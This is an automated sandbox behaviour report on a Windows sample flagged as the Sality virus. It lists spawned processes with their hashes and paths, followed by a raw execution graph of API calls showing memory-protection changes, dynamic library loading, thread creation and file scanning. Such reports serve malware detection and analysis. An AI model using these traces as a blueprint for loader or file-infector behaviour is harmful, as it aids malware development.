                                            Click to dive into process behavior distribution

                                            Behavior

                                            Click to jump to process

                                            System Behavior

                                            General

                                            Target ID:0
                                            Start time:14:05:50
                                            Start date:11/04/2023
                                            Path:C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            Wow64 process (32bit):true
                                            Commandline:C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            Imagebase:0x400000
                                            File size:1055286 bytes
                                            MD5 hash:F96AD2108001929CCC0D4244215239F8
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Yara matches:
                                            • Rule: JoeSecurity_Sality, Description: Yara detected Sality, Source: 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                            Reputation:low

                                            General

                                            Target ID:1
                                            Start time:14:05:51
                                            Start date:11/04/2023
                                            Path:C:\Windows\System32\fontdrvhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:fontdrvhost.exe
                                            Imagebase:0x7ff625e30000
                                            File size:790304 bytes
                                            MD5 hash:31113981180E69C2773BCADA4051738A
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language
                                            Reputation:moderate

                                            General

                                            Target ID:2
                                            Start time:14:05:51
                                            Start date:11/04/2023
                                            Path:C:\Windows\System32\fontdrvhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:fontdrvhost.exe
                                            Imagebase:0x7ff625e30000
                                            File size:790304 bytes
                                            MD5 hash:31113981180E69C2773BCADA4051738A
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language
                                            Reputation:moderate

                                            General

                                            Target ID:3
                                            Start time:14:05:52
                                            Start date:11/04/2023
                                            Path:C:\Windows\System32\dwm.exe
                                            Wow64 process (32bit):false
                                            Commandline:dwm.exe
                                            Imagebase:0x7ff695af0000
                                            File size:62464 bytes
                                            MD5 hash:70073A05B2B43FFB7A625708BB29E7C7
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language
                                            Reputation:moderate

                                            General

                                            Target ID:5
                                            Start time:14:06:01
                                            Start date:11/04/2023
                                            Path:C:\Windows\System32\svchost.exe
                                            Wow64 process (32bit):false
                                            Commandline:c:\windows\system32\svchost.exe -k unistacksvcgroup
                                            Imagebase:0x7ff651c80000
                                            File size:51288 bytes
                                            MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language
                                            Reputation:high

                                            General

                                            Target ID:10
                                            Start time:14:06:09
                                            Start date:11/04/2023
                                            Path:C:\Windows\System32\sihost.exe
                                            Wow64 process (32bit):false
                                            Commandline:sihost.exe
                                            Imagebase:0x7ff6f2ab0000
                                            File size:79360 bytes
                                            MD5 hash:6F84A5C939F9DA91F5946AF4EC6E2503
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language
                                            Reputation:moderate

                                            General

                                            Target ID:12
                                            Start time:14:06:10
                                            Start date:11/04/2023
                                            Path:C:\Windows\System32\svchost.exe
                                            Wow64 process (32bit):false
                                            Commandline:c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
                                            Imagebase:0x7ff651c80000
                                            File size:51288 bytes
                                            MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language
                                            Reputation:high

                                            General

                                            Target ID:15
                                            Start time:14:06:12
                                            Start date:11/04/2023
                                            Path:C:\Windows\System32\svchost.exe
                                            Wow64 process (32bit):false
                                            Commandline:c:\windows\system32\svchost.exe -k unistacksvcgroup -s WpnUserService
                                            Imagebase:0x7ff651c80000
                                            File size:51288 bytes
                                            MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:16
                                            Start time:14:06:14
                                            Start date:11/04/2023
                                            Path:C:\Windows\System32\ctfmon.exe
                                            Wow64 process (32bit):false
                                            Commandline:ctfmon.exe
                                            Imagebase:0x7ff6d9bd0000
                                            File size:10752 bytes
                                            MD5 hash:D4DAF47FBF707B23B874DE6F139CB0C7
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:17
                                            Start time:14:06:15
                                            Start date:11/04/2023
                                            Path:C:\Windows\explorer.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\Explorer.EXE
                                            Imagebase:0x7ff69fe90000
                                            File size:3933184 bytes
                                            MD5 hash:AD5296B280E8F522A8A897C96BAB0E1D
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:18
                                            Start time:14:06:31
                                            Start date:11/04/2023
                                            Path:C:\Windows\System32\dllhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                            Imagebase:0x7ff769260000
                                            File size:20888 bytes
                                            MD5 hash:2528137C6745C4EADD87817A1909677E
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:19
                                            Start time:14:06:32
                                            Start date:11/04/2023
                                            Path:C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
                                            Wow64 process (32bit):false
                                            Commandline:"C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca
                                            Imagebase:0x7ff716f50000
                                            File size:2173336 bytes
                                            MD5 hash:94D34E489ACC08D4E36DF96E39561647
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:20
                                            Start time:14:06:38
                                            Start date:11/04/2023
                                            Path:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                            Wow64 process (32bit):false
                                            Commandline:"C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
                                            Imagebase:0x7ff78f4a0000
                                            File size:13606304 bytes
                                            MD5 hash:C4A9ACE9CDB9E5DB7CBA996CFA9EA7A2
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:23
                                            Start time:14:07:04
                                            Start date:11/04/2023
                                            Path:C:\Windows\System32\RuntimeBroker.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\System32\RuntimeBroker.exe -Embedding
                                            Imagebase:0x7ff68f300000
                                            File size:99272 bytes
                                            MD5 hash:C7E36B4A5D9E6AC600DD7A0E0D52DAC5
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:24
                                            Start time:14:07:06
                                            Start date:11/04/2023
                                            Path:C:\Windows\System32\smartscreen.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\System32\smartscreen.exe -Embedding
                                            Imagebase:0x7ff6cc2f0000
                                            File size:2548224 bytes
                                            MD5 hash:ECD6F6120A4A1903508D24F9B1F10505
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:25
                                            Start time:14:07:11
                                            Start date:11/04/2023
                                            Path:C:\Windows\System32\RuntimeBroker.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\System32\RuntimeBroker.exe -Embedding
                                            Imagebase:0x7ff68f300000
                                            File size:99272 bytes
                                            MD5 hash:C7E36B4A5D9E6AC600DD7A0E0D52DAC5
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:28
                                            Start time:14:07:13
                                            Start date:11/04/2023
                                            Path:C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe
                                            Wow64 process (32bit):false
                                            Commandline:"C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe" -ServerName:Hx.IPC.Server
                                            Imagebase:0x7ff6820d0000
                                            File size:98480 bytes
                                            MD5 hash:F6A51F7C21A81C1BA24182E76413BE17
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:29
                                            Start time:14:07:16
                                            Start date:11/04/2023
                                            Path:C:\Windows\System32\RuntimeBroker.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\System32\RuntimeBroker.exe -Embedding
                                            Imagebase:0x7ff68f300000
                                            File size:99272 bytes
                                            MD5 hash:C7E36B4A5D9E6AC600DD7A0E0D52DAC5
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:30
                                            Start time:14:07:18
                                            Start date:11/04/2023
                                            Path:C:\Windows\System32\RuntimeBroker.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\System32\RuntimeBroker.exe -Embedding
                                            Imagebase:0x7ff68f300000
                                            File size:99272 bytes
                                            MD5 hash:C7E36B4A5D9E6AC600DD7A0E0D52DAC5
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:31
                                            Start time:14:07:19
                                            Start date:11/04/2023
                                            Path:C:\Windows\System32\dllhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                            Imagebase:0x7ff769260000
                                            File size:20888 bytes
                                            MD5 hash:2528137C6745C4EADD87817A1909677E
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:32
                                            Start time:14:07:20
                                            Start date:11/04/2023
                                            Path:C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe
                                            Wow64 process (32bit):true
                                            Commandline:C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe
                                            Imagebase:0xff0000
                                            File size:140800 bytes
                                            MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:33
                                            Start time:14:07:21
                                            Start date:11/04/2023
                                            Path:C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe
                                            Wow64 process (32bit):true
                                            Commandline:C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe
                                            Imagebase:0xff0000
                                            File size:140800 bytes
                                            MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:34
                                            Start time:14:07:21
                                            Start date:11/04/2023
                                            Path:C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe
                                            Wow64 process (32bit):true
                                            Commandline:C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe
                                            Imagebase:0xff0000
                                            File size:140800 bytes
                                            MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:35
                                            Start time:14:07:22
                                            Start date:11/04/2023
                                            Path:C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe
                                            Wow64 process (32bit):true
                                            Commandline:C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe
                                            Imagebase:0xff0000
                                            File size:140800 bytes
                                            MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:36
                                            Start time:14:07:23
                                            Start date:11/04/2023
                                            Path:C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe
                                            Wow64 process (32bit):true
                                            Commandline:C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe
                                            Imagebase:0xff0000
                                            File size:140800 bytes
                                            MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:37
                                            Start time:14:07:23
                                            Start date:11/04/2023
                                            Path:C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe
                                            Wow64 process (32bit):true
                                            Commandline:C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe
                                            Imagebase:0xff0000
                                            File size:140800 bytes
                                            MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:38
                                            Start time:14:07:23
                                            Start date:11/04/2023
                                            Path:C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe
                                            Wow64 process (32bit):true
                                            Commandline:C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe
                                            Imagebase:0xff0000
                                            File size:140800 bytes
                                            MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:39
                                            Start time:14:07:24
                                            Start date:11/04/2023
                                            Path:C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe
                                            Wow64 process (32bit):true
                                            Commandline:C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe
                                            Imagebase:0xff0000
                                            File size:140800 bytes
                                            MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            General

                                            Target ID:40
                                            Start time:14:07:24
                                            Start date:11/04/2023
                                            Path:C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe
                                            Wow64 process (32bit):true
                                            Commandline:C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe
                                            Imagebase:0xff0000
                                            File size:140800 bytes
                                            MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                            Has elevated privileges:false
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language

                                            Disassembly

                                            Reset < >

                                              Execution Graph

                                              Execution Coverage:9.4%
                                              Dynamic/Decrypted Code Coverage:53%
                                              Signature Coverage:18%
                                              Total number of Nodes:751
                                              Total number of Limit Nodes:36
                                              execution_graph 12499 431132 12500 43113c 12499->12500 12503 41dab1 12500->12503 12506 41da75 12503->12506 12505 41dabe 12507 41da81 12506->12507 12510 41d98a 12507->12510 12509 41da92 12509->12505 12527 422450 TlsGetValue 12510->12527 12513 422450 __decode_pointer 4 API calls 12514 41d9ae 12513->12514 12515 41d9c6 __msize 12514->12515 12524 41da31 12514->12524 12516 41d9d6 12515->12516 12526 41da18 12515->12526 12519 41d9e7 __realloc_crt 12516->12519 12520 41d9f6 12516->12520 12517 4223d5 __encode_pointer 4 API calls 12518 41da26 12517->12518 12521 4223d5 __encode_pointer 4 API calls 12518->12521 12519->12520 12522 41da0c 12519->12522 12523 41d9fd __realloc_crt 12520->12523 12520->12524 12521->12524 12535 4223d5 TlsGetValue 12522->12535 12523->12522 12523->12524 12524->12509 12526->12517 12528 422468 12527->12528 12529 42247d 12527->12529 12528->12529 12530 422472 TlsGetValue 12528->12530 12531 422481 12529->12531 12532 422499 __crt_waiting_on_module_handle 12529->12532 12530->12529 12533 41d99e 12531->12533 12534 4224b4 RtlDecodePointer 12531->12534 12532->12531 12532->12533 12533->12513 12534->12533 12536 422402 12535->12536 12537 4223ed 12535->12537 12539 422406 12536->12539 12540 42241e __crt_waiting_on_module_handle 12536->12540 12537->12536 12538 4223f7 TlsGetValue 12537->12538 12538->12536 12541 422441 12539->12541 12542 422439 RtlEncodePointer 12539->12542 12540->12539 12540->12541 12541->12526 12542->12541 12543 52ffd0 12567 52df60 InitializeCriticalSection 12543->12567 12545 52ffe2 12617 5350c7 InitializeCriticalSection InitializeCriticalSection 12545->12617 12547 52ffe7 12638 5273f3 12547->12638 12549 52ffec 12550 53001d 12549->12550 12660 533617 RaiseException 12549->12660 12552 530032 VirtualProtect 12550->12552 12556 530047 12550->12556 12552->12556 12553 530205 VirtualProtect 12554 53021c 12553->12554 12643 52fcc0 12554->12643 12557 53010c VirtualProtect 12556->12557 12559 530145 12556->12559 12557->12559 12558 530277 GetModuleHandleA 12560 53028b 12558->12560 12561 530299 GetModuleHandleA 12558->12561 12559->12553 12559->12554 12656 5302c0 12560->12656 12563 5302bb 12561->12563 12564 5302ad 12561->12564 12565 5302c0 20 API calls 12564->12565 12565->12563 12566 530251 12566->12558 12568 52dfb5 12567->12568 12661 53362f 12568->12661 12571 53362f 3 API calls 12572 52dfe5 GetModuleHandleA GetModuleFileNameA GetFullPathNameA GetModuleHandleA GetProcAddress 12571->12572 12573 52e072 12572->12573 12574 52e05d GetLongPathNameA 12572->12574 12575 52e098 CharUpperBuffA 12573->12575 12574->12575 12576 527700 12575->12576 12577 52e0c6 GetShortPathNameA CharUpperBuffA 12576->12577 12578 52e13d 12577->12578 12579 53362f 3 API calls 12578->12579 12584 52e178 12579->12584 12580 52e291 12581 52e2cd 12580->12581 12668 52e7a0 CreateFileA 12580->12668 12583 53362f 3 API calls 12581->12583 12589 52e2da 12583->12589 12584->12580 12585 52e254 CharUpperBuffA 12584->12585 12760 533617 RaiseException 12584->12760 12585->12580 12587 52e56b 12757 52f640 12587->12757 12588 52e38a GetFullPathNameA CharUpperBuffA 12590 52e3fd 12588->12590 12589->12587 12589->12588 12590->12587 12592 52e409 FindFirstFileA 12590->12592 12594 52e450 12592->12594 12595 52e548 12592->12595 12593 52e588 12596 53362f 3 API calls 12593->12596 12597 52e461 lstrcmpi 12594->12597 12598 52e51f FindNextFileA 12594->12598 12595->12587 12599 52e592 12596->12599 12597->12598 12600 52e47a CharUpperBuffA 12597->12600 12598->12594 12602 52e53b FindClose 12598->12602 12601 53362f 3 API calls 12599->12601 12603 52e7a0 33 API calls 12600->12603 12604 52e5b1 12601->12604 12602->12595 12603->12594 12605 53362f 3 API calls 12604->12605 12606 52e5cf 12605->12606 12607 53362f 3 API calls 12606->12607 12608 52e5ee 12607->12608 12609 53362f 3 API calls 12608->12609 12610 52e60a 12609->12610 12611 53362f 3 API calls 12610->12611 12612 52e650 12611->12612 12613 53362f 3 API calls 12612->12613 12614 52e697 12613->12614 12615 53362f 3 API calls 12614->12615 12616 52e6de 12615->12616 12616->12545 12618 53362f 3 API calls 12617->12618 12619 5350ea 12618->12619 12620 53362f 3 API calls 12619->12620 12622 535119 12620->12622 12621 53362f 3 API calls 12623 535145 12621->12623 12622->12621 12624 53362f 3 API calls 12623->12624 12625 535171 12624->12625 12626 53362f 3 API calls 12625->12626 12627 53519d 12626->12627 12789 535236 GetModuleHandleA 12627->12789 12629 5351d3 12630 535236 6 API calls 12629->12630 12631 5351e7 12630->12631 12632 535236 6 API calls 12631->12632 12633 5351fb 12632->12633 12634 535236 6 API calls 12633->12634 12635 53520f 12634->12635 12636 535236 6 API calls 12635->12636 12637 535223 GetModuleHandleA 12636->12637 12637->12547 12806 52b4d4 12638->12806 12640 527446 12640->12549 12641 52740f 12641->12640 12642 527425 CreateThread Sleep 12641->12642 12642->12640 12647 52fcd3 12643->12647 12645 52fded GetModuleHandleA 12654 52fe0b 12645->12654 12646 52fdcd 12842 536176 12646->12842 12647->12645 12647->12646 12649 52fdcb 12647->12649 12650 52fcec 12647->12650 12836 53627f 12647->12836 12649->12645 12650->12566 12651 52fec8 12652 52fed7 GetProcAddress 12651->12652 12653 52fefa GetProcAddress 12651->12653 12651->12654 12652->12654 12653->12651 12653->12654 12654->12650 12654->12651 12845 530620 12654->12845 12657 5302e6 12656->12657 13012 530320 12657->13012 12659 5302f5 12659->12561 12660->12550 12761 53366c 12661->12761 12664 52dfc9 12664->12571 12665 533646 RtlAllocateHeap 12665->12664 12666 53365d 12665->12666 12766 533617 RaiseException 12666->12766 12669 52e820 GetFileSize 12668->12669 12670 52e816 12668->12670 12672 52e847 12669->12672 12673 52eabf SetFilePointer ReadFile 12669->12673 12771 533617 RaiseException 12670->12771 12672->12673 12680 52e895 12672->12680 12772 533617 RaiseException 12672->12772 12674 52eb0a 12673->12674 12678 52eb1d 12674->12678 12774 533617 RaiseException 12674->12774 12677 52ea23 12677->12673 12681 52ea3c 12677->12681 12679 52eb7f SetFilePointer ReadFile 12678->12679 12775 533617 RaiseException 12678->12775 12682 52ebbb 12679->12682 12680->12677 12683 52e914 SetFilePointer ReadFile 12680->12683 12685 52ea5b SetFilePointer ReadFile 12681->12685 12692 52eaa9 12681->12692 12773 533617 RaiseException 12681->12773 12686 52ebce SetFilePointer 12682->12686 12776 533617 RaiseException 12682->12776 12683->12677 12696 52e996 12683->12696 12685->12681 12688 52eca5 ReadFile 12686->12688 12689 52ec15 ReadFile 12686->12689 12691 52ecc2 12688->12691 12693 52ec32 12689->12693 12694 52ecd5 ReadFile 12691->12694 12780 533617 RaiseException 12691->12780 12692->12673 12697 52ec45 ReadFile 12693->12697 12777 533617 RaiseException 12693->12777 12700 52ecf2 12694->12700 12696->12677 12710 52e9eb SetFilePointer 12696->12710 12699 52ec62 12697->12699 12701 52ec75 ReadFile 12699->12701 12778 533617 RaiseException 12699->12778 12703 52ed05 ReadFile 12700->12703 12781 533617 RaiseException 12700->12781 12706 52ec92 12701->12706 12705 52ed22 12703->12705 12707 52ed35 ReadFile 12705->12707 12782 533617 RaiseException 12705->12782 12706->12688 12779 533617 RaiseException 12706->12779 12711 52ed52 12707->12711 12710->12673 12712 52ed65 ReadFile 12711->12712 12783 533617 RaiseException 12711->12783 12714 52ed82 12712->12714 12715 52ed95 ReadFile 12714->12715 12784 533617 RaiseException 12714->12784 12717 52edb2 12715->12717 12722 52edc5 12717->12722 12785 533617 RaiseException 12717->12785 12719 52efe2 12720 52f013 12719->12720 12786 533617 RaiseException 12719->12786 12723 53362f 3 API calls 12720->12723 12722->12719 12724 53362f 3 API calls 12722->12724 12725 52f01c SetFilePointer 12723->12725 12726 52edf1 12724->12726 12727 52f054 12725->12727 12728 53362f 3 API calls 12726->12728 12729 52f05f ReadFile 12727->12729 12745 52f0ac 12727->12745 12730 52ee12 12728->12730 12731 52f08e 12729->12731 12732 53362f 3 API calls 12730->12732 12731->12727 12787 533617 RaiseException 12731->12787 12734 52ee5d 12732->12734 12735 53362f 3 API calls 12734->12735 12736 52ee7c GetFileTime 12735->12736 12739 53362f 3 API calls 12736->12739 12737 52f176 12740 53362f 3 API calls 12737->12740 12738 52f16f 12742 53362f 3 API calls 12738->12742 12743 52eef8 CharUpperBuffA 12739->12743 12744 52f194 12740->12744 12742->12737 12743->12719 12746 53362f 3 API calls 12744->12746 12745->12737 12745->12738 12788 533617 RaiseException 12745->12788 12747 52f1e6 GetFileTime 12746->12747 12748 52f230 12747->12748 12749 52f246 12747->12749 12748->12749 12750 52f239 GetSystemTimeAsFileTime 12748->12750 12751 53362f 3 API calls 12749->12751 12756 52f347 CreateFileA 12749->12756 12750->12749 12752 52f2b5 CharUpperBuffA 12751->12752 12752->12749 12755 52f5d8 12755->12581 12768 52f5da 12756->12768 12758 53362f 3 API calls 12757->12758 12759 52f68f 12758->12759 12759->12593 12760->12585 12762 533679 HeapCreate 12761->12762 12763 533695 12761->12763 12762->12763 12764 533639 12763->12764 12767 533617 RaiseException 12763->12767 12764->12664 12764->12665 12766->12664 12767->12764 12769 52f5e0 FindCloseChangeNotification 12768->12769 12770 52f5ea 12768->12770 12769->12770 12770->12755 12771->12669 12772->12680 12773->12681 12774->12678 12775->12679 12776->12686 12777->12697 12778->12701 12779->12688 12780->12694 12781->12703 12782->12707 12783->12712 12784->12715 12785->12722 12786->12720 12787->12731 12788->12738 12790 535252 LoadLibraryA 12789->12790 12791 53525e 12789->12791 12790->12791 12799 536c81 12791->12799 12794 536c81 3 API calls 12798 5352b0 12794->12798 12795 5352f4 GetProcAddress 12795->12798 12796 536c81 RaiseException RtlAllocateHeap HeapCreate 12796->12798 12797 53537a 12797->12629 12798->12795 12798->12796 12798->12797 12802 536ca4 12799->12802 12804 536cb9 12802->12804 12803 53362f 3 API calls 12805 53528a 12803->12805 12804->12803 12804->12805 12805->12794 12805->12798 12815 52c6d0 12806->12815 12808 52b4f2 12809 52b5a7 12808->12809 12810 52b506 GetCurrentProcess GetCurrentProcess DuplicateHandle 12808->12810 12809->12641 12810->12809 12811 52b53c SetFilePointer 12810->12811 12812 53362f 3 API calls 12811->12812 12813 52b558 12812->12813 12827 527000 EnterCriticalSection 12813->12827 12816 52c6fb 12815->12816 12817 52c711 EnterCriticalSection 12816->12817 12825 52c70a 12816->12825 12818 52c733 12817->12818 12819 52c743 GetFullPathNameA 12818->12819 12820 52c76d CharUpperBuffA 12819->12820 12819->12825 12821 52c789 12820->12821 12822 52c80a 12821->12822 12823 52c9ab 12821->12823 12822->12825 12832 53459f 12822->12832 12824 53459f 3 API calls 12823->12824 12823->12825 12824->12825 12825->12808 12828 536c81 3 API calls 12827->12828 12829 527043 12828->12829 12835 527060 LeaveCriticalSection 12829->12835 12831 52704c 12831->12809 12833 53362f 3 API calls 12832->12833 12834 5345cb 12833->12834 12834->12825 12835->12831 12837 536293 GetModuleHandleA 12836->12837 12838 536289 GetModuleHandleA 12836->12838 12839 5362af 12837->12839 12840 5362a5 12837->12840 12838->12839 12839->12647 12854 530b1f 12840->12854 12879 536120 12842->12879 12846 530640 12845->12846 12847 530636 12845->12847 12849 53065a VirtualProtect 12846->12849 12850 53069f 12846->12850 13010 533617 RaiseException 12847->13010 12851 530670 12849->12851 12852 53067a VirtualProtect 12849->12852 12850->12654 13011 533617 RaiseException 12851->13011 12852->12850 12855 530b44 12854->12855 12856 530b4d 12855->12856 12859 530b9e 12855->12859 12857 530b55 12856->12857 12858 530b96 12856->12858 12860 53362f 3 API calls 12857->12860 12858->12839 12861 530c03 GetModuleHandleA 12859->12861 12862 530bba 12859->12862 12863 530b5f GetModuleFileNameA 12860->12863 12861->12858 12866 530c15 12861->12866 12867 530bc6 GetModuleHandleA 12862->12867 12864 530b87 12863->12864 12865 530b7e LoadLibraryA 12863->12865 12864->12858 12865->12864 12866->12858 12869 53362f 3 API calls 12866->12869 12867->12864 12868 530bde 12867->12868 12868->12864 12871 530be6 LoadLibraryA 12868->12871 12870 530c27 GetModuleFileNameA 12869->12870 12872 530c46 LoadLibraryA 12870->12872 12873 530c4f 12870->12873 12871->12864 12872->12873 12874 5302c0 10 API calls 12873->12874 12875 530c69 12874->12875 12875->12858 12876 530c6d GetLastError 12875->12876 12877 530c77 SetLastError 12876->12877 12878 530c7f FreeLibrary 12876->12878 12877->12878 12878->12858 12880 536136 12879->12880 12881 53612a SetLastError 12879->12881 12889 530d22 12880->12889 12883 53616d 12881->12883 12883->12649 12886 536152 12886->12883 12887 53615b GetLastError 12886->12887 12887->12883 12888 536165 SetLastError 12887->12888 12888->12883 12890 530b1f 20 API calls 12889->12890 12891 530d33 12890->12891 12891->12883 12892 531431 12891->12892 12893 531475 12892->12893 12894 5314b9 EnterCriticalSection GetModuleHandleA 12893->12894 12895 531520 LoadLibraryA 12894->12895 12906 53154a 12894->12906 12896 53153d 12895->12896 12902 5315a2 12896->12902 12897 531681 12901 53168d GetModuleHandleA 12897->12901 12898 5315ed LoadLibraryExA 12899 531616 12898->12899 12900 531638 GetLastError 12898->12900 12899->12902 12905 5302c0 20 API calls 12899->12905 12903 531642 SetLastError 12900->12903 12904 53164a FreeLibrary 12900->12904 12901->12896 12908 5316cf 12901->12908 12902->12886 12903->12904 12904->12902 12907 531634 12905->12907 12906->12897 12906->12898 12906->12902 12907->12900 12907->12902 12909 52b4d4 12 API calls 12908->12909 12910 53171f 12909->12910 12911 531733 